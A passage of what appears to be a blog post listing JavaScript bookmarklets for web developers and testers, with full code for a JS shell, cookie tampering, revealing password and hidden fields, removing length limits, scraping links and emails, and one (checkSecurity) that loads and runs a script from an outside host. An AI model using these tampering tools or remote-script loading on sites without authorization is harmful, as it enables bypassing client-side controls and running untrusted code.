&amp;&amp; (spacepos+1) == dotpos))\n        {\n          var fn,fname;\n  var from = (_in.value.charAt(dotpos) == '(') ? dotpos : spacepos;\n          spacepos = findbeginning(_in.value, from-1, false);\n\n          fname = _in.value.substr(spacepos+1,from-(spacepos+1));\n  //dump(\&quot;fname: \&quot; + fname + \&quot;\\n\&quot;);\n          try {\n            with(_win.Shell._scope)\n              with(_win)\n                with(Shell.shellCommands)\n                  fn = eval(fname);\n          }\n          catch(er) {\n            //dump('fn is not a valid object\\n');\n            return;\n          }\n          if(fn == undefined) {\n             //dump('fn is undefined');\n             return;\n          }\n          if(fn instanceof Function)\n          {\n            // Print function definition, including argument names, but not function body\n            if(!fn.toString().match(/function .+?\\(\\) +\\{\\n +\\[native code\\]\\n\\}/))\n              println(fn.toString().match(/function .+?\\(.*?\\)/), \&quot;tabcomplete\&quot;);\n          }\n\n          return;\n        }\n        else\n          obj = _win;\n      }\n      else\n      {\n        var objname = _in.value.substr(spacepos+1,dotpos-(spacepos+1));\n        //dump(\&quot;objname: |\&quot; + objname + \&quot;|\\n\&quot;);\n        try {\n          with(_win.Shell._scope)\n            with(_win)\n                obj = eval(objname);\n        }\n        catch(er) {\n          printError(er); \n          return;\n        }\n        if(obj == undefined) {\n          // sometimes this is tabcomplete's fault, so don't print it :(\n          // e.g. completing from \&quot;print(document.getElements\&quot;\n          // println(\&quot;Can't complete from null or undefined expression \&quot; + objname, \&quot;error\&quot;);\n          return;\n        }\n      }\n      //dump(\&quot;obj: \&quot; + obj + \&quot;\\n\&quot;);\n      // get the thing we're trying to complete\n      if(dotpos == caret)\n      {\n        if(spacepos+1 == dotpos || spacepos == dotpos)\n        {\n          // nothing to complete\n          //dump(\&quot;nothing to complete\\n\&quot;);\n          return;\n        }\n\n        complete = _in.value.substr(spacepos+1,dotpos-(spacepos+1));\n      }\n      else {\n        complete = _in.value.substr(dotpos+1,caret-(dotpos+1));\n      }\n      //dump(\&quot;complete: \&quot; + complete + \&quot;\\n\&quot;);\n      // ok, now look at all the props/methods of this obj\n      // and find ones starting with 'complete'\n      var matches = [];\n      var bestmatch = null;\n      for(var a in obj)\n      {\n        //a = a.toString();\n        //XXX: making it lowercase could help some cases,\n        // but screws up my general logic.\n        if(a.substr(0,complete.length) == complete) {\n          matches.push(a);\n          ////dump(\&quot;match: \&quot; + a + \&quot;\\n\&quot;);\n          // if no best match, this is the best match\n          if(bestmatch == null)\n          {\n            bestmatch = a;\n          }\n          else {\n            // the best match is the longest common string\n            function min(a,b){ return ((a&lt;b)?a:b); }\n            var i;\n            for(i=0; i&lt; min(bestmatch.length, a.length); i++)\n            {\n              if(bestmatch.charAt(i) != a.charAt(i))\n                break;\n            }\n            bestmatch = bestmatch.substr(0,i);\n            ////dump(\&quot;bestmatch len: \&quot; + i + \&quot;\\n\&quot;);\n          }\n          ////dump(\&quot;bestmatch: \&quot; + bestmatch + \&quot;\\n\&quot;);\n        }\n      }\n      bestmatch = (bestmatch || \&quot;\&quot;);\n      ////dump(\&quot;matches: \&quot; + matches + \&quot;\\n\&quot;);\n      var objAndComplete = (objname || obj) + \&quot;.\&quot; + bestmatch;\n      //dump(\&quot;matches.length: \&quot; + matches.length + \&quot;, tooManyMatches: \&quot; + tooManyMatches + \&quot;, objAndComplete: \&quot; + objAndComplete + \&quot;\\n\&quot;);\n      if(matches.length &gt; 1 &amp;&amp; (tooManyMatches == objAndComplete || matches.length &lt;= 10)) {\n\n        printWithRunin(\&quot;Matches: \&quot;, matches.join(', '), \&quot;tabcomplete\&quot;);\n        tooManyMatches = null;\n      }\n      else if(matches.length &gt; 10)\n      {\n        println(matches.length + \&quot; matches.  Press tab again to see them all\&quot;, \&quot;tabcomplete\&quot;);\n        tooManyMatches = objAndComplete;\n      }\n      else {\n        tooManyMatches = null;\n      }\n      if(bestmatch != \&quot;\&quot;)\n      {\n        var sstart;\n        if(dotpos == caret) {\n          sstart = spacepos+1;\n        }\n        else {\n          sstart = dotpos+1;\n        }\n        _in.value = _in.value.substr(0, sstart)\n                  + bestmatch\n                  + _in.value.substr(caret);\n        setselectionto(_in,caret + (bestmatch.length - complete.length));\n      }\n    }\n}\n\nfunction printQuestion(q)\n{\n  println(q, \&quot;input\&quot;);\n}\n\nfunction printAnswer(a)\n{\n  if (a !== undefined) {\n    println(a, \&quot;normalOutput\&quot;);\n    shellCommands.ans = a;\n  }\n}\n\nfunction printError(er)\n{ \n  var lineNumberString;\n\n  lastError = er; // for debugging the shell\n  if (er.name)\n  {\n    // lineNumberString should not be \&quot;\&quot;, to avoid a very wacky bug in IE 6.\n    lineNumberString = (er.lineNumber != undefined) ? (\&quot; on line \&quot; + er.lineNumber + \&quot;: \&quot;) : \&quot;: \&quot;;\n    println(er.name + lineNumberString + er.message, \&quot;error\&quot;); // Because IE doesn't have error.toString.\n  }\n  else\n    println(er, \&quot;error\&quot;); // Because security errors in Moz /only/ have toString.\n}\n\nfunction go(s)\n{\n  _in.value = question = s ? s : _in.value;\n\n  if (question == \&quot;\&quot;)\n    return;\n\n  histList[histList.length-1] = question;\n  histList[histList.length] = \&quot;\&quot;;\n  histPos = histList.length - 1;\n  \n  // Unfortunately, this has to happen *before* the JavaScript is run, so that \n  // print() output will go in the right place.\n  _in.value='';\n  recalculateInputHeight();\n  printQuestion(question);\n\n  if (_win.closed) {\n    printError(\&quot;Target window has been closed.\&quot;);\n    return;\n  }\n  \n  try { (\&quot;Shell\&quot; in _win) }\n  catch(er) {\n    printError(\&quot;The JavaScript Shell cannot access variables in the target window.  The most likely reason is that the target window now has a different page loaded and that page has a different hostname than the original page.\&quot;);\n    return;\n  }\n\n  if (!(\&quot;Shell\&quot; in _win))\n    initTarget(); // silent\n\n  // Evaluate Shell.question using _win's eval (this is why eval isn't in the |with|, IIRC).\n  _win.location.href = \&quot;javascript:try{ Shell.printAnswer(eval('with(Shell._scope) with(Shell.shellCommands) {' + Shell.question + String.fromCharCode(10) + '}')); } catch(er) { Shell.printError(er); }; setTimeout(Shell.refocus, 0); void 0\&quot;;\n}\n\n&lt;/script&gt;\n\n&lt;!-- for http://ted.mielczarek.org/code/mozilla/extensiondev/ --&gt;\n&lt;script type=\&quot;text/javascript\&quot; src=\&quot;chrome://extensiondev/content/rdfhistory.js\&quot;&gt;&lt;/script&gt;\n&lt;script type=\&quot;text/javascript\&quot; src=\&quot;chrome://extensiondev/content/chromeShellExtras.js\&quot;&gt;&lt;/script&gt;\n\n&lt;style type=\&quot;text/css\&quot;&gt;\nbody { background: white; color: black; }\n\n#output { white-space: pre; white-space: -moz-pre-wrap; } /* Preserve line breaks, but wrap too if browser supports it */\nh3 { margin-top: 0; margin-bottom: 0em; }\nh3 + div { margin: 0; }\n\nform { margin: 0; padding: 0; }\n#input { width: 100%25; border: none; padding: 0; overflow: auto; }\n\n.input { color: blue; background: white; font: inherit; font-weight: bold; margin-top: .5em; /* background: #E6E6FF; */ }\n.normalOutput { color: black; background: white; }\n.print { color: brown; background: white; }\n.error { color: red; background: white; }\n.propList { color: green; background: white; }\n.message { color: green; background: white; }\n.tabcomplete { color: purple; background: white; }\n&lt;/style&gt;\n&lt;/head&gt;\n\n&lt;body onload=\&quot;init()\&quot;&gt;\n\n&lt;div id=\&quot;output\&quot;&gt;&lt;h3&gt;JavaScript Shell 1.4&lt;/h3&gt;&lt;div&gt;Features: autocompletion of property names with Tab, multiline input with Shift+Enter, input history with (Ctrl+) Up/Down, &lt;a accesskey=\&quot;M\&quot; href=\&quot;javascript:go('scope(Math); mathHelp();');\&quot; title=\&quot;Accesskey: M\&quot;&gt;Math&lt;/a&gt;, &lt;a accesskey=\&quot;H\&quot; href=\&quot;http://www.squarefree.com/shell/?ignoreReferrerFrom=shell1.4\&quot;  title=\&quot;Accesskey: H\&quot;&gt;help&lt;/a&gt;&lt;/div&gt;&lt;div&gt;Values and functions: ans, print(string), &lt;a accesskey=\&quot;P\&quot; href=\&quot;javascript:go('props(ans)')\&quot; title=\&quot;Accesskey: P\&quot;&gt;props(object)&lt;/a&gt;, &lt;a accesskey=\&quot;B\&quot; href=\&quot;javascript:go('blink(ans)')\&quot; title=\&quot;Accesskey: B\&quot;&gt;blink(node)&lt;/a&gt;, &lt;a accesskey=\&quot;C\&quot; href=\&quot;javascript:go('clear()')\&quot; title=\&quot;Accesskey: C\&quot;&gt;clear()&lt;/a&gt;, load(scriptURL), scope(object)&lt;/div&gt;&lt;/div&gt;\n\n&lt;div&gt;&lt;textarea id=\&quot;input\&quot; class=\&quot;input\&quot; wrap=\&quot;off\&quot; onkeydown=\&quot;inputKeydown(event)\&quot; rows=\&quot;1\&quot;&gt;&lt;/textarea&gt;&lt;/div&gt;\n\n&lt;/body&gt;\n\n&lt;/html&gt;&quot;);document.close();}void 0">jsShell</a> &#8211; probably one of the most appreciated bookmarklets out there. Upon execution it pops up a window in which you can execute javascript code. Among it&#8217;s great features is the props() function which displays the methods/properties of a desired element, object, string, etc.</p>
<p><a href="javascript:try{eval(unescape(prompt(&quot;enter&nbsp;a&nbsp;javascript&nbsp;statement&quot;,&quot;&quot;)))}catch(er){alert(er)};">jsEval</a> &#8211; a quick and slick way to run small pieces of javascript code.</p>
<p><a href="javascript:with(window.open(&quot;&quot;,&quot;_blank&quot;,&quot;width=&quot;+screen.width*.6+&quot;,left=&quot;+screen.width*.35+&quot;,height=&quot;+screen.height*.9+&quot;,resizable,scrollbars=yes&quot;)){document.write(&quot;&lt;head&gt;&lt;title&gt;JavaScript Development Environment 2.0.1&lt;/title&gt;&lt;!-- about:blank confuses opera.. --&gt;&lt;/head&gt;&lt;frameset rows=\&quot;25,*,*\&quot;&gt;\n\n  &lt;frame name=\&quot;toolbarFrame\&quot; src=\&quot;about:blank\&quot; noresize=\&quot;noresize\&quot;&gt;\n\n  &lt;frame name=\&quot;inputFrame\&quot; src=\&quot;about:blank\&quot;&gt;\n\n  &lt;frame name=\&quot;outputFrame\&quot; src=\&quot;about:blank\&quot;&gt;\n\n&lt;/frameset&gt;\n\n&quot;);document.close(); frames[0].document.write(&quot;&lt;head&gt;&lt;!-- no doctype - it makes IE ignore the height: 100%25. --&gt;&lt;title&gt;toolbarFrame&lt;/title&gt;\n\n\n\n&lt;style type=\&quot;text/css\&quot;&gt;\nhtml,body { width: 100%25; height: 100%25; border: none; margin: 0px; padding: 0px; }\nbutton { height: 100%25; }\n&lt;/style&gt;\n\n&lt;script type=\&quot;text/javascript\&quot;&gt;\n\nvar outputFrame = parent.outputFrame;\nvar inputFrame = parent.inputFrame;\nvar framesetElement = parent.document.documentElement.getElementsByTagName(\&quot;frameset\&quot;)[0];\n\nvar savedRows;\n\n\n// Need to use C-style comments in handleError() and print() \n// because IE retains them when decompiling a function.\n\n\n\nfunction print(s, c) {\n  var outputFrame = parent.outputFrame; /* duplicated here in case this function is elsewhere */\n  var doc = outputFrame.document;\n\n  var newdiv = doc.createElement(\&quot;div\&quot;);\n  newdiv.appendChild(doc.createTextNode(s));\n  if (c)\n    newdiv.style.color = c;\n  doc.body.appendChild(newdiv);\n}\n\nfunction handleError(er, file, lineNumber) \n{\n  print(\&quot;Error on line \&quot; + lineNumber + \&quot;: \&quot; + er, \&quot;red\&quot;); \n    \n  /* Find the character offset for the line */\n  /* (code adapted from blogidate xml well-formedness bookmarklet) */\n  var ta = inputFrame.document.getElementById(\&quot;input\&quot;);\n  var lines = ta.value.split(\&quot;\\n\&quot;);\n  var cc = 0; \n  var i;\n  for(i=0; i &lt; (lineNumber - 1); ++i) \n    cc += lines[i].length + 1;\n\n  /* Hacky(?) workaround for IE's habit of including \\r's in strings */\n  if (ta.value.split(\&quot;\\r\&quot;).length &gt; 1)\n    cc -= lineNumber - 1;\n\n  /* Select the line */\n  if(document.selection) { \n    /* IE (Leonard Lin gave me this code) */\n    var sel = ta.createTextRange(); \n    sel.moveStart(\&quot;character\&quot;, cc); \n    sel.collapse(); \n    sel.moveEnd(\&quot;character\&quot;, lines[i].length); \n    sel.select();\n  } else { \n    /* Mozilla */\n    ta.selectionStart = cc; \n    ta.selectionEnd = cc + lines[i].length; \n  }\n \n  /* return true; */ /* nah, let the error go through to IE's js consolish thing! */\n}\n\n\n\n\n\nfunction showHideOutput()\n{\n  if (outputFrame.document.body.clientHeight &gt; 100) {\n    // hide\n    savedRows = framesetElement.rows;    \n    framesetElement.rows = \&quot;25,*,0\&quot;;\n  }\n  else {\n    // show. use the previous size, if possible\n    if (savedRows) {\n      framesetElement.rows = savedRows;\n      savedRows = null;\n    }\n    else {\n      framesetElement.rows = \&quot;25,*,*\&quot;;\n    }\n  }\n}\n\nfunction refocus()\n{\n  inputFrame.document.getElementById(\&quot;input\&quot;).focus();\n}\n\n\nfunction clearOutput()\n{\n  var b = outputFrame.document.body;\n  while(b.firstChild)\n    b.removeChild(b.firstChild);\n}\n\nfunction stripLineBreaks(s)\n{\n  return s.replace(/\\n/g, \&quot;\&quot;).replace(/\\r/g, \&quot;\&quot;); // stripping \\r is for IE\n}\n\nfunction execute()\n{\n  var js = inputFrame.document.getElementById(\&quot;input\&quot;).value;\n\n  var useOpener = parent.opener &amp;&amp; !parent.opener.closed;\n  var oldStyle = !! document.all; // lame but meh.\n  \n  print(\&quot;Running\&quot; + (useOpener ? \&quot; in bookmarklet mode\&quot; : \&quot;\&quot;) + (oldStyle ? \&quot; in make-IE-happy mode\&quot; : \&quot;\&quot;) + \&quot;...\&quot;, \&quot;orange\&quot;);\n\n  if (useOpener)\n    executeWithJSURL(js, parent.opener); // only way to execute against another frame\n  else if (oldStyle)\n    executeWithDW(js, execFrame); // only way to get line numbers in IE\n  else\n    executeWithJSURL(js, execFrame); // faster in Mozilla  \n}\n\n// Advantages: can get line numbers in IE.\nfunction executeWithDW(js, win)\n{\n  win.document.open();\n  win.inputFrame = inputFrame;\n  win.outputFrame = outputFrame;\n  win.document.write(\n    stripLineBreaks(\n        '&lt;!DOCTYPE HTML PUBLIC \&quot;-//W3C//DTD HTML 4.01//EN\&quot; \&quot;http://www.w3.org/TR/html4/strict.dtd\&quot;&gt;' +\n        '&lt;html&gt;&lt;head&gt;&lt;title&gt;execFrame&lt;\\/title&gt;&lt;script type=\&quot;text/javascript\&quot;&gt;'\n      + print         // yay for decompilation!\n      + handleError \n      + \&quot;window.onerror = handleError;\&quot;\n      + \&quot;&lt;\\/script&gt;&lt;\\/head&gt;\&quot;\n      ) \n    + '&lt;body&gt;&lt;script type=\&quot;text/javascript\&quot;&gt;'\n    + js         // should escape it a little to remove the string &lt;\\/script&gt; at least...\n    + \&quot;&lt;\\/script&gt;&lt;\\/body&gt;&lt;\\/html&gt;\&quot;\n    );\n  win.document.close();\n}\n\n// Advantages: can be used to inject a script into another window, faster in Mozilla.\nfunction executeWithJSURL(js, win)\n{\n  // isolate scope\n  js = \&quot;(function(){ \&quot; + js + \&quot; \\n })()\&quot;;\n\n  win.print = print;\n  win.onerror = handleError;\n\n  // double encodeURIComponent because javascript: URLs themselves are encoded!\n  win.location.href = 'javascript:eval(decodeURIComponent(\&quot;' + encodeURIComponent(encodeURIComponent(js)) + '\&quot;)); void 0;';\n  \n  refocus();\n}\n\n// Other ideas I haven't tried lately: create a &lt;script&gt; element, eval.\n\n\nfunction makeUserScript(userScriptLink)\n{\n    userScriptLink.href = \n        \&quot;data:text/javascript;charset=utf-8,\&quot; + \n        encodeURIComponent(inputFrame.document.getElementById(\&quot;input\&quot;).value + \&quot;//.user.js\&quot;);\n}\n\n&lt;/script&gt;&lt;/head&gt;&lt;body&gt;\n\n&lt;button accesskey=\&quot;E\&quot; onclick=\&quot;execute(); refocus();\&quot;&gt;&lt;u&gt;E&lt;/u&gt;xecute&lt;/button&gt;\n&lt;!-- &lt;button accesskey=\&quot;R\&quot; onclick=\&quot;reloadAndExecute(); refocus();\&quot;&gt;&lt;u&gt;R&lt;/u&gt;eload and execute&lt;/button&gt; --&gt;\n&lt;button accesskey=\&quot;C\&quot; onclick=\&quot;clearOutput(); refocus();\&quot;&gt;&lt;u&gt;C&lt;/u&gt;lear output&lt;/button&gt;\n&lt;button accesskey=\&quot;S\&quot; onclick=\&quot;showHideOutput(); refocus();\&quot;&gt;&lt;u&gt;S&lt;/u&gt;how/hide output&lt;/button&gt;\n&lt;!-- &lt;button accesskey=\&quot;H\&quot; onclick=\&quot;help(); refocus();\&quot;&gt;&lt;u&gt;H&lt;/u&gt;elp&lt;/button&gt; --&gt;\n\n&lt;a href=\&quot;data:text/html,...\&quot; onfocus=\&quot;makeUserScript(this);\&quot; onmouseover=\&quot;makeUserScript(this);\&quot; target=\&quot;_blank\&quot;&gt;Install as user script&lt;/a&gt;\n\n&lt;div style=\&quot;visibility: hidden;\&quot;&gt;\n&lt;iframe name=\&quot;execFrame\&quot; src=\&quot;about:blank\&quot; height=\&quot;5\&quot; width=\&quot;5\&quot;&gt;&lt;/iframe&gt;\n&lt;/div&gt;\n\n&lt;/body&gt;&quot;); frames[0].document.close(); frames[1].document.write(&quot;&lt;head&gt;&lt;!-- no doctype - it makes IE ignore the height: 100%25. --&gt;&lt;title&gt;inputFrame&lt;/title&gt;\n\n\n\n\n\n&lt;style type=\&quot;text/css\&quot;&gt;\n\nhtml,body,form,textarea { width: 100%25; height: 100%25; border: none; margin: 0px; padding: 0px; }\nhtml,body { overflow: hidden; }\n\n&lt;/style&gt;&lt;/head&gt;&lt;body onload=\&quot;document.getElementById('input').select();\&quot;&gt;\n&lt;textarea style=\&quot;background-color: rgb(221, 238, 255);\&quot; id=\&quot;input\&quot;&gt;// ==UserScript==\n// @namespace     http://www.squarefree.com/jsenv/autogenerated\n// @name          Unnamed script\n// @description   Undescribed script\n// ==/UserScript==\n\nprint(\&quot;Squares of numbers 0 through 4:\&quot;);\nfor (var i = 0; i &amp;lt; 5; ++i)\n  print(i * i);\n\nthis.statement.causes(an.error);\n&lt;/textarea&gt;\n&lt;/body&gt;&quot;); frames[1].document.close();   }void 0">jsEnv</a> &#8211; useful Bookmarklet/UserScript development environmnent. For running other small scripts, I&#8217;d still recommend the jsShell.</p>
<p><a href="javascript:void(document.cookie=prompt(&quot;modify cookie&quot;, document.cookie))">modCookie</a> &#8211; easy and fast cookie tampering.</p>
<p><a href="javascript:function mRd(){return(Math.round(Math.random()*1000));}function V(f){if(!f.length)return f.value;else{var rd=mRd(),O='&lt;input type=\'checkbox\' onclick=\'T(this,'+rd+')\'&gt;Show Values ['+f.length+']&lt;br&gt;&lt;div id=\''+rd+'\' style=\'display:none;\'&gt;\n&lt;table border=\'0\' cellpadding=\'0\' cellspacing=\'2\'&gt;&lt;form&gt;';for(var x=0;x&lt;f.length;x++){var b1=(f[x].selected||f[x].checked)?' bgcolor=\'yellow\'':'';var b2='&lt;/td&gt;';O+='\n&lt;tr'+b1+'&gt;\n\t&lt;td class=\'red\'&gt;'+f[x].value+b2+'\n\t&lt;td class=\'blue\'&gt;'+((f[x].text)?f[x].text:'')+b2+'&lt;/tr&gt;';}O+='&lt;/form&gt;&lt;/table&gt;&lt;/div&gt;';}return O;}function P(f,y){var rd=mRd(),ch='',a='&lt;br&gt;\n&lt;table style=\'background:#cccccc;margin-bottom:-16px;\' border=\'1\' cellspacing=\'0\' cellpadding=\'2\'&gt;\n&lt;tr&gt;&lt;td&gt;&lt;b&gt;name:&lt;/b&gt; ['+f.name+']&amp;nbsp; &amp;nbsp;&lt;b&gt;id:&lt;/b&gt; ['+f.id+']&amp;nbsp;&lt;b&gt;method: &lt;/b&gt;[&lt;a href=\'javascript:tM(opener.document.forms['+y+'],'+rd+')\' id=\''+rd+'\' title=\'Toggle Method\'&gt;'+f.method+'&lt;/a&gt;]&lt;br /&gt;&lt;b&gt;action:&lt;/b&gt;&amp;nbsp;'+f.action+'&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;br /&gt;\n&lt;table border=\'1\' cellspacing=\'0\' cellpadding=\'2\'&gt;\n&lt;tr class=\'b\'&gt;&lt;td width=\'20\'&gt;&lt;/td&gt;\n\t&lt;td width=\'75\'&gt;type&lt;/td&gt;\n\t&lt;td&gt;name&lt;/td&gt;\n\t&lt;td&gt;id&lt;/td&gt;\n\t&lt;td&gt;value&lt;/td&gt;&lt;/tr&gt;';for(var x=0;x&lt;f.length;x++){var el=f[f[x].name];if(ch.indexOf(f[x].name)&lt;0&amp;&amp;f[x].tagName!='FIELDSET'){a+='\n&lt;tr&gt;&lt;td valign=\'top\'&gt;&lt;b&gt;'+x+'&lt;/b&gt;&lt;/td&gt;\n\t&lt;td valign=\'top\'&gt;'+f[x].type+'&lt;/td&gt;\n\t&lt;td valign=\'top\' class=\'red\'&gt;'+f[x].name+'&lt;/td&gt;\n\t&lt;td valign=\'top\' class=\'green\'&gt;'+f[x].id+'&amp;nbsp;&lt;/td&gt;\n\t&lt;td class=\'blue\' ondblclick=\'tPre(this)\' title=\'Doubleclick to toggle wrapping\'&gt;'+V(el)+'&lt;/td&gt;&lt;/tr&gt;';ch+=el.name;}}a+='&lt;/table&gt;';return a;}function R(d){var b='\n&lt;scr'+'ipt&gt;\nfunction T(ch,dv){document.getElementById(dv).style.display=(ch.checked)?\'block\':\'none\';}\nfunction tM(f,id){f.method=(f.method==\'post\')?\'get\':\'post\';document.getElementById(id).innerHTML=f.method;}\nfunction tPre(o){o.className=(o.className==\'bluePre\')?\'blue\':\'bluePre\';}\n&lt;/scr'+'ipt&gt;\n&lt;sty'+'le type=\'text/css\'&gt;\n*{font:10px Verdana;}\nb,.b td{font-weight:bold;}\n.red{color:red;}\n.blue{color:blue;white-space:normal;}.bluePre{color:blue;background-color:#FFFFCC;white-space:pre;font-family:Monaco,\'Courier New\';}\n.green{color:green;}\n.big{font-size:12px;font-weight:bold;}\n&lt;/style&gt;\n';var foL=d.forms.length;if(foL&gt;0){for(var y=0;y&lt;foL;y++)b+='&lt;br&gt;&lt;span class=\'big\'&gt;Form '+y+':&lt;/span&gt; &lt;a href=\'javascript:opener.document.forms['+y+'].submit();\'&gt;submit&lt;/a&gt;'+P(d.forms[y],y)+'&lt;br&gt;';}else b+='&lt;br&gt;No Forms';return b;}var c='&lt;body&gt;&lt;div class=\'big\'&gt;Forms Information for: '+window.location+'&lt;div/&gt;';var frL=window.frames.length;c+=R(document);for(z=0;z&lt;frL;z++){var frEr=false,fz;try{fz=frames[z].location.href;}catch(er){frEr=true}c+='&lt;div class=\'big\'&gt;&lt;b&gt;Frame '+z+'&lt;/b&gt;: ';if(frEr)c+='Remote frame, access denied';else c+=frames[z].name+'&lt;br&gt;&lt;b&gt;url:&lt;/b&gt; '+frames[z].location.toString()+'&lt;/div&gt;'+R(window.frames[z].document)+'&lt;hr&gt;'}w=window.open('','Forms','scrollbars,resizable,width=700,height=800,top=0,left=0');w.document.write(c+'&lt;/body&gt;');">formInfo</a> &#8211; get the information about all the forms (and it&#8217;s fields) in the active page. Has the ability to swap between form methods, and to submit them from the generated page.</p>
<p><a href="javascript:var r='';var df=document.forms;for (i=0;i&lt;df.length;++i) {var callform='';df[i].name?callform=df[i].name:callform=df[i].id;r+='&lt;br&gt;&lt;b&gt;Form: '+callform+' ['+df[i].method+'] '+df[i].action+'&lt;/b&gt;&lt;br&gt;';r+='&lt;table border=1 style=\'font:x-small verdana\'&gt;&lt;tr&gt;&lt;th&gt;Name&lt;/th&gt;&lt;th&gt;Type&lt;/th&gt;&lt;th&gt;Value&lt;/th&gt;&lt;/tr&gt;';for(j=0;j&lt;df[i].elements.length;++j) {r+='&lt;tr valign=top&gt;';r+='&lt;td&gt;'+df[i].elements[j].name+'&lt;/td&gt;%C2%A0%C2%A0';r+='&lt;td&gt;'+df[i].elements[j].type+'%C2%A0%C2%A0&lt;/td&gt;';r+='&lt;td&gt;'+df[i].elements[j].value+'%C2%A0%C2%A0&lt;/td&gt;';r+='&lt;/tr&gt;';}r+='&lt;/table&gt;';}r='&lt;h2&gt;Report for: '+document.location.href+'&lt;/h2&gt;&lt;br&gt;&lt;br&gt;'+r;var w=window.open('', 'w', '');w.document.open();w.document.write(r);w.document.close();">formReport</a> &#8211; same as formInfo, just less colorfull :). And without the swap and submit features.</p>
<p><a href="javascript:(function(){var i,f,j,e,div,label,ne;for(i=0;f=document.forms[i];++i)for(j=0;e=f[j];++j)if(e.type==%22password%22){D=document; function C(t){return D.createElement(t);} function A(a,b){a.appendChild(b);} div=C(%22div%22); label=C(%22label%22); A(div, label); A(label, D.createTextNode(%22 %22)); e.parentNode.insertBefore(div, e); e.parentNode.removeChild(e); ne=C(%22input%22);/*for ie*/ ne.type=%22text%22; ne.value=e.value; ne.name=e.name;ne.id=e.id;A(label, ne); label.style.MozOpacity=%22.6%22; --j;/*for moz*/}})()">formPassword2Text</a> &#8211; convert all password input fields to text ones.</p>
<p><a href="javascript:(function(){var i,f,j,e,div,label,ne; for(i=0;f=document.forms[i];++i)for(j=0;e=f[j];++j)if(e.type==%22hidden%22){ D=document; function C(t){return D.createElement(t);} function A(a,b){a.appendChild(b);} div=C(%22div%22); label=C(%22label%22); A(div, label); A(label, D.createTextNode(e.name + %22: %22)); e.parentNode.insertBefore(div, e); e.parentNode.removeChild(e); ne=C(%22input%22);/*for ie*/ ne.type=%22text%22; ne.value=e.value; ne.name=e.name;ne.id=e.id;A(label, ne); label.style.MozOpacity=%22.6%22; --j;/*for moz*/}})()">formHidden2Text</a> &#8211; converts input with type hidden to text.</p>
<p><a href="javascript:for (i=0;i&lt;document.forms.length;++i) {for(j=0;j&lt;document.forms[i].elements.length;++j){document.forms[i].elements[j].removeAttribute(%22maxLength%22);}}">formNoMax</a> &#8211; remove max length restriction.</p>
<p><a href="javascript:location=&quot;http://www.google.com/search?num=100&amp;q=site:&quot; + escape(location.hostname) + &quot; &quot; + prompt(&quot;key words&quot;,&quot;&quot;); void 0">searchOnGoogle</a> &#8211; search website via google</p>
<p><a href="javascript:( function(){ for (i=0; i &lt; document.links.length; i++) { if (document.links[i].href.match(/http:\/\/.*http(:|%253A)(\/|%252F)(\/|%252F)/i)){ alert(document.links[i]); } } })();">findRedirects</a> &#8211; find redirects in links</p>
<p><a href="javascript:eMlA='';for(iB2M=0;iB2M&lt;document.links.length;iB2M++){if(document.links[iB2M].protocol=='mailto:'){Ju59=document.links[iB2M].toString();eMlA+=Ju59.substring(7,Ju59.length)+'\n'}};if(eMlA!=''){alert(eMlA)}else{alert('No mailto links on page!')}">findEmailLinks</a> &#8211; find email links in page.</p>
<p><a href="javascript:(function(){var x,n,nD,z,i; function htmlEscape(s){s=s.replace(/&amp;/g,'&amp;amp;');s=s.replace(/&gt;/g,'&amp;gt;');s=s.replace(/&lt;/g,'&amp;lt;');return s;} function attrQuoteEscape(s){s=s.replace(/&amp;/g,'&amp;amp;'); s=s.replace(/&quot;/g, '&amp;quot;');return s;} x=prompt(&quot;show links with this word/phrase in link text or target url (leave blank to list all links):&quot;, &quot;&quot;); n=0; if(x!=null) { x=x.toLowerCase(); nD = window.open().document; nD.writeln('&lt;html&gt;&lt;head&gt;&lt;title&gt;Links containing &quot;'+htmlEscape(x)+'&quot;&lt;/title&gt;&lt;base target=&quot;_blank&quot;&gt;&lt;/head&gt;&lt;body&gt;'); nD.writeln('Links on &lt;a href=&quot;'+attrQuoteEscape(location.href)+'&quot;&gt;'+htmlEscape(location.href)+'&lt;/a&gt;&lt;br&gt; with link text or target url containing &amp;quot;' + htmlEscape(x) + '&amp;quot;&lt;br&gt;&lt;hr&gt;'); z = document.links; for (i = 0; i &lt; z.length; ++i) { if ((z[i].innerHTML &amp;&amp; z[i].innerHTML.toLowerCase().indexOf(x) != -1) || z[i].href.toLowerCase().indexOf(x) != -1 ) { nD.writeln(++n + '. &lt;a href=&quot;' + attrQuoteEscape(z[i].href) + '&quot;&gt;' + (z[i].innerHTML || htmlEscape(z[i].href)) + '&lt;/a&gt;&lt;br&gt;'); } } nD.writeln('&lt;hr&gt;&lt;/body&gt;&lt;/html&gt;'); nD.close(); } })();">findLinks</a> &#8211; scraps all the links in the page.</p>
<p><a href="javascript:document.location = 'http://ha.ckers.org/weird/ipsearch.cgi?' + document.domain">searchIP</a> &#8211; searches more domains on the same IP address.</p>
<p><a href="javascript:document.body.innerHTML='&lt;noscript&gt;pls turn on js for this domain&lt;/noscript&gt;&lt;script src=http://ha.ckers.org/securitytest.js&gt;&lt;/script&gt;';">checkSecurity</a> &#8211; check the crossdomain.xml and robots.txt files.</p>
<p><a href="javascript:s=document.getElementsByTagName('SCRIPT'); d=window.open().document; /*140681*/d.open();d.close(); b=d.body; function trim(s){return s.replace(/^\s*\n/, '').replace(/\s*$/, ''); }; function add(h){b.appendChild(h);} function makeTag(t){return d.createElement(t);} function makeText(tag,text){t=makeTag(tag);t.appendChild(d.createTextNode(text)); return t;} add(makeText('style', 'iframe{width:100%;height:18em;border:1px solid;')); add(makeText('h3', d.title='Scripts in ' + location.href)); for(i=0; i&lt;s.length; ++i) { if (s[i].src) { add(makeText('h4','script src=&quot;' + s[i].src + '&quot;')); iframe=makeTag('iframe'); iframe.src=s[i].src; add(iframe); } else { add(makeText('h4','Inline script')); add(makeText('pre', trim(s[i].innerHTML))); } } void 0">viewScripts</a> &#8211; view the currently included scripts.</p>
